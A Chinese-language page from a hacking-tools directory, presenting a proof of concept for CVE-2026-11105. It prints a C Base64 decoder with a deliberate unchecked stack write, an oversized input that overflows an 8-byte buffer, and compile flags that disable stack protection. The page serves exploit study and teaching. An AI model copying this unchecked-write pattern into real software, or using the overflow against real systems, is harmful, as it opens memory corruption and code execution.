Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder — CVE-2026-11105 PoC,演示了自定义 Base64 解码器中的栈缓冲区溢出漏洞;精心构造的超大输入会覆盖栈内存,从而实现任意代码执行。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-11105-stack-buffer-overflow-in-custom-base64-decoder
漏洞分析漏洞利用学习与教育Payload 开发二进制利用
GitHubgeorge0papasotiriou/cve-2026-11105-stack-buffer-overflow-in-custom-base64-decoder

CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder

CVE-2026-11105 PoC,演示了自定义 Base64 解码器中的栈缓冲区溢出漏洞;精心构造的超大输入会覆盖栈内存,从而实现任意代码执行。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
1个月前尚未审核
分享

CVE-2026-11105 – 自定义 Base64 解码器中的栈缓冲区溢出

程序代码(C)

root@kitploit:~
// base64_vuln.c - Vulnerable Base64 decoder
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int base64_decode(const char *in, size_t inlen, char *out, size_t outlen) {
    static const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int outpos = 0;
    for (int i=0; i<inlen; i+=4) {
        uint32_t sextet = 0;
        int bytes = 0;
        for (int j=0; j<4; j++) {
            if (i+j >= inlen) break;
            const char *p = strchr(table, in[i+j]);
            if (p) sextet = (sextet << 6) | (p - table);
            else bytes++;
        }
        // No check on outpos exceeding outlen!
        out[outpos++] = (sextet >> 16) & 0xFF;
        if (bytes < 2) out[outpos++] = (sextet >> 8) & 0xFF;
        if (bytes < 1) out[outpos++] = sextet & 0xFF;
    }
    return outpos;
}

int main() {
    char smallbuf[8];
    char *malicious = "AAAA"; // padded, decodes to 3 bytes, but we'll feed a long string
    // Attacker sends very long Base64 string, overflows smallbuf
    base64_decode("QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB", 60, smallbuf, 8);
    return 0;
}

CVE-2026-11105 – Base64 解码器中的栈缓冲区溢出

Severity: Critical

概述

自定义 Base64 解码函数未验证输出缓冲区的大小,导致经典的栈缓冲区溢出。攻击者可构造超长输入来覆盖返回地址并获得代码执行能力。

漏洞详情

  • 类型: 栈缓冲区溢出
  • 影响: 远程代码执行(如果暴露在网络环境中)。
  • 根本原因: 解码器按顺序写入解码后的字节,而未确保输出指针保持在已分配的缓冲区范围内。

漏洞利用演示

  1. 编译易受攻击的解码器(禁用保护机制):
    root@kitploit:~
    gcc -o base64_vuln base64_vuln.c -fno-stack-protector -z execstack
    
  2. 运行漏洞利用脚本以触发溢出:
    root@kitploit:~
    python exploit_base64_overflow.py
    
下载工具